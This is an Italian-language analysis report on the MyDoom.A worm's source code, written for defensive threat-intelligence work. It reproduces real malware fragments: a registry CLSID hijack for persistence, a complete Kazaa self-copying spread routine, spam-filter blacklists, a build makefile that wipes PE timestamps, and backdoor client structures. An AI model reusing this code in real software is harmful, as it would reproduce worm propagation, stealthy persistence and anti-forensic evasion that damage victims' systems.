

Extra 1 - Sorgente del Malware MyDoom

Executive Summary

Il presente documento espone i risultati dell'analisi del codice sorgente della variante originale di **MyDoom.A** (2004). L'analisi dei moduli in C/C++ ha permesso di mappare le routine di infezione, il sofisticato motore di propagazione SMTP/DNS custom, le tecniche di evasione anti-forense e l'architettura della Backdoor. Infine, viene proposto un protocollo operativo per l'analisi rapida di eventuali varianti emergenti (Scenario di Intelligence).

1. Meccanismi di Infezione e Persistenza

Il malware è progettato per radicarsi profondamente nel sistema vittima, garantendo l'avvio automatico e nascondendosi all'utente.

- **Core dell'Infezione (main.c):** Questo modulo gestisce il flusso principale, inizializza le strutture dati come `sync_t` (che contiene l'ora di avvio e le date di innesco dei payload) e si occupa di decifrare file sul disco tramite la funzione `decrypt1_to_file`.
- **Hijacking del Registro (xproxy.c):** Per garantire la persistenza della backdoor, il malware non si limita alle chiavi standard, ma dirotta le estensioni della shell di Windows (Explorer). Usa la funzione `shellsvc_attach` per sovrascrivere chiavi CLSID legittime nel registro (come `stobject.dll` o `Webcheck.dll`), in modo che la libreria malevola venga caricata in modo invisibile insieme all'interfaccia di Windows.

```
void shellsvc_attach()
{
    char tmp[128], dllpath[256];
    MEMORY_BASIC_INFORMATION mbi;

    if (VirtualQuery(&shellsvc_attach, &mbi, sizeof(mbi)) == 0) return;
    memset(dllpath, 0, sizeof(dllpath));
    GetModuleFileName((HMODULE)mbi.AllocationBase, dllpath, sizeof(dllpath));

    /* CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524153}\InprocServer32 - Explorer's stobject.dll */
    // rot13(tmp, "PYFVQ\\{35PRP8N3-20R6-11Q2-8773-92R220524153}\\VacebpFreire32");
    // reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath);

    /* CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InprocServer32 - Explorer's Webcheck.dll */
    rot13(tmp, "PYFVQ\\{R6S05R20-QR35-11PS-9P87-00NN005127RQ}\\VacebpFreire32");
    reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath);
}
```

2. Meccanismi di Propagazione

2.1 Spam e Harvesting

MyDoom.A possiede un motore di invio massivo di email totalmente autonomo, diviso in moduli altamente specializzati:

- **Generazione Esche e Filtri (massmail.c):** Il modulo non invia email a caso. Contiene una funzione `email_filter` con blacklist hardcodate per evitare di inviare spam a domini governativi (.gov, .mil), vendor di sicurezza (es. avp, syma) o account sensibili (root, abuse). Utilizza inoltre la funzione `mm_gen` che preleva nomi da una lista integrata ("john", "michael", "mary", ecc.) per falsificare mittenti credibili.
- **Risoluzione DNS Autonoma (xdns.c):** Il malware non fa affidamento sulla configurazione di rete della vittima. Crea pacchetti DNS grezzi (Raw Sockets) sulla porta 53 per interrogare direttamente i record MX (Mail Exchange) del dominio bersaglio, massimizzando la velocità di diffusione.
- **Client SMTP Nascosto (xsmtp.c):** Gestisce la connessione sulla porta 25. Se la connessione diretta fallisce, il malware interroga il registro (Software\Microsoft\Internet Account Manager) per rubare l'account SMTP legittimo configurato sul computer.

```
static const char *nospam_domains[] = {
    "avp", "syma", "icrosof", "msn.", "hotmail", "panda",
    "sopho", "borlan", "inpris", "example", "mydomai", "nodomai",
    "ruslis", /*vi[ruslis]t */
    ".gov", "gov.", ".mil", "foo.",
```

```
static const char *nospam_fullnames[] = {
    "root", "info", "samples", "postmaster",
    "webmaster", "noone", "nobody", "nothing", "anyone",
    "someone", "your", "you", "me", "bugs", "rating", "site",
    "contact", "soft", "no", "somebody", "privacy", "service",
    "help", "not", "submit", "feste", "ca", "gold-certs",
    "the.bat", "page",
```

2.2 Sfruttamento rete p2p

MyDoom è stato uno dei primi worm a sfruttare efficacemente le reti di file sharing Peer-to-Peer, nella fattispecie **Kazaa**, molto diffuso nei primi anni 2000. Il malware contiene una lista di nomi (**kazaa_names**) cifrati con ROT13. Una volta decodificati rivelano nomi di software molto richiesti, usati per attirare le vittime:

- **jvanzc5** --> winamp5
- **vpd2004-svany** --> icu2004-final
- **npgvingvba_penpx** --> activation_crack
- **fgevc-tvey-2.0o** --> strip-girl-2.0b
- **ebbgxvgKC** --> rootkitXP
- **bssvpr_penpx** --> office_crack

```
*kazaa_names[] = {
'jvanzc5",
'vpd2004-svany",
'npgvingvba_penpx",
'fgevc-tvey-2.0o" /* missed comma in the original version */
'qpbz_cngpurf",
'ebbgxvgKC",
'bssvpr_penpx",
'ahxr2004"
```

2.2.1 Identificazione della Cartella Condivisa

La funzione **kazaa_spread** interroga il Registro di Windows per trovare dove l'utente salva i file scaricati. Se Kazaa è installato, il malware cerca il percorso di questa cartella e, una volta ottenuto, eseguirà queste tre azioni:

1. Sceglie un nome casuale dalla lista sopra citata;
2. Assegna un'estensione casuale tra **.exe**, **.scr** (screensaver), **.pif** o **.bat**;
3. Copia se stesso in quella cartella con il nuovo nome.

```

20 static void kazaa_spread(char *file)
21 {
22     int kazaa_names_cnt = sizeof(kazaa_names) / sizeof(kazaa_names[0]);
23     char kaza[256];
24     DWORD kazalen=sizeof(kaza);
25     HKEY hKey;
26     char key_path[64], key_val[32];
27
28     // Software\Kazaa\Transfer
29     rot13(key_path, "Fbsgjner\\Xnmnn\\Genafsre");
30     rot13(key_val, "QyQve0"); // "DlDir0"
31
32     // Get the path to Kazaa from the registry
33     ZeroMemory(kaza, kazalen);
34     if (RegOpenKeyEx(HKEY_CURRENT_USER, key_path, 0, KEY_QUERY_VALUE, &hKey)) return;
35
36     if (RegQueryValueEx(hKey, key_val, 0, NULL, (PBYTE)kaza, &kazalen)) return;
37     RegCloseKey(hKey);
38
39     if (kaza[0] == 0) return;
40     if (kaza[lstrlen(kaza)-1] == '/') kaza[lstrlen(kaza)-1] = '\\';
41     if (kaza[lstrlen(kaza)-1] != '\\') lstrcat(kaza, "\\");
42     rot13(kaza+lstrlen(kaza), kazaa_names[xrand16() % kazaa_names_cnt]);
43     lstrcat(kaza, ".");
44
45     switch (xrand16() % 6) {
46     case 0: case 1: lstrcat(kaza, "ex"); lstrcat(kaza, "e"); break;
47     case 2: case 3: lstrcat(kaza, "sc"); lstrcat(kaza, "r"); break;
48     case 4: lstrcat(kaza, "pi"); lstrcat(kaza, "f"); break;
49     default: lstrcat(kaza, "ba"); lstrcat(kaza, "t"); break;
50     }
51
52     CopyFile(file, kaza, TRUE);
53 }

```

A differenza dell'altro vettore di diffusione via e-mail (contenuto nella parte *massmail.c*), la propagazione P2P è passiva: il malware non attacca direttamente altri computer ma si posiziona nella cartella condivisa affinché altri utenti della rete Kazaa, cercando software come quelli indicati sopra, scaricheranno e avvieranno il malware, infettando i propri sistemi.

3. Evasione, Offuscamento e Tool dell'Attaccante

L'autore ha impiegato diverse tecniche per eludere il rilevamento statico e ostacolare l'analisi forense:

- **Offuscamento delle Stringhe (rot13.c e xsmtp.c):** Tutti i comandi sensibili (come MAIL FROM:, RCPT TO:) sono stati offuscati usando il cifrario a scorrimento ROT13 prima della compilazione. Lo strumento rot13.c veniva usato dall'autore in fase di sviluppo per generare queste stringhe.
- **Compressione Dinamica (zipstore.c):** Integra la logica per generare al volo archivi .zip validi (calcolando il CRC32 e scrivendo gli header 0x04034b50), permettendo al malware di inviarsi come allegato zippato per eludere i vecchi gateway antispam.
- **Wiping dei Metadati (makefile e cleanpe.cpp):** Il file di build (makefile) automatizza un processo anti-forense formidabile. Subito dopo aver compilato la libreria xproxy.dll, il makefile esegue automaticamente il tool cleanpe (-..\work\cleanpe \$(EXE)). Questo tool sovrascrive con zeri (0x00) l'header PE dell'eseguibile, eliminando il timestamp di compilazione originale per nascondere la data di creazione agli analisti.
- **Elusione degli Unpacker (xproxy.c):** La libreria xproxy.c inizia con una lunga stringa SYNC SYNC SYNC... inserita come "padding". Come spiegato dall'autore stesso nel commento, serve a forzare l'algoritmo di compressione UPX ad accettare il file, alterandone la firma per l'antivirus.

```
OBJS = xproxy.obj
LIBS = wsock32.lib user32.lib kernel32.lib advapi32.lib libc.lib
EXE = xproxy.dll
all: $(EXE) client.exe
$(EXE): $(OBJS) makefile
    link /out:$(EXE) /nodefaultlib /base:0x7E1A0000 /dll $(OBJS) $(LIBS) /nodefaultlib /entry:DllMain /ignore:4078 /merge:.rdata=.text /merge:.data=.text
    -..\work\cleanpe $(EXE)
# -upx -9 $(EXE)
.c.obj:
    cl /c /W3 /O1syg /GAF3 /Fo%<
.cpp.obj:
    cl /c /W3 /O1syg /GAF3 /Fo%<
clean:
    -del *.obj
    -del $(EXE)
    -del *.inc
client.exe: client.c
    cl /Ox client.c
    -upx -9 client.exe
```

4. Architettura Command & Control (Backdoor)

Oltre alla diffusione, MyDoom spalancava le porte dei PC infetti agli attaccanti.

- **Il Server (xproxy.c):** Questo modulo viene caricato in memoria per aprire una porta TCP nascosta, mettendo il PC in ascolto e trasformandolo in uno "zombie" controllabile da remoto.
- **Il Client dell'Attaccante (client.c):** Questo codice non girava sul PC della vittima, ma era il "telecomando" usato dai criminali. Il codice sorgente mostra che

l'attaccante si connetteva all'IP della vittima inviando un "Magic Byte" di autenticazione (req.magic = SOCKS4_EXECBYTE; impostato a 133) e una chiave polinomiale per accedere al sistema e inviare comandi (o caricare altri file .exe).

```
#define SOCKS4_EXECBYTE 133

#pragma pack(push, 1)
struct xrequest_t {
    unsigned char magic;
    unsigned long polinomial;
};
#pragma pack(pop)

void main(int argc, char *argv[])
{
    FILE *f;
    int sock, i, j, is_eof;
    struct hostent *hent;
    struct sockaddr_in addr;
    struct xrequest_t req;
    struct timeval tv;
    fd_set fds;
    char buf[1024];
    WSADATA wd;
```

5. Payload Distruttivo

- **Attacco DDoS (sco.c):** Il malware contiene un modulo dormiente ("Time Bomb") programmato per colpire il dominio www.sco.com (jjj.fpb.pbz in ROT13). La routine crea fino a 64 thread per inviare richieste GET / HTTP/1.1 in modo asincrono, esaurendo le risorse del server bersaglio.

6. Scenario di Intelligence: Gestione di Nuove Varianti (MyDoom 2.0)

Alla luce della potenziale comparsa di una nuova variante basata su questo codice sorgente, l'Intelligence suggerisce il seguente protocollo operativo di reazione rapida:

1. **Code Diffing:** Ottenuto il nuovo campione (sorgente o decompilato), verrà utilizzato un software di comparazione (es. *WinMerge* o *BinDiff*) contro la baseline di Mydoom.A. Questo permetterà di isolare immediatamente le porzioni di codice alterate.
2. **Identificazione dei Delta Critici:** L'analisi si concentrerà in via prioritaria sulle seguenti mutazioni:

- *Modifica dei Target*: Estrazione del nuovo dominio bersaglio dal file sco.c per allertare tempestivamente l'organizzazione colpita dal DDoS.
 - *Modifica delle Porte C2*: Verifica del file client.c e dei moduli di ascolto per individuare nuove porte TCP o nuovi Magic Bytes (es. cambio del SOCKS4_EXECBYTE).
 - *Nuovi Vettori di Propagazione*: Verifica dei filtri in massmail.c per capire se il malware ha iniziato a prendere di mira domini precedentemente esclusi (es. .gov o aziende specifiche).
3. **Aggiornamento IoC (Indicatori di Compromissione)**: I nuovi mutex, le nuove chiavi di registro CLSID abusate (xproxy.c) e le nuove stringhe offuscate verranno immediatamente tradotte in regole YARA o SNORT per bloccare l'infezione sui firewall aziendali.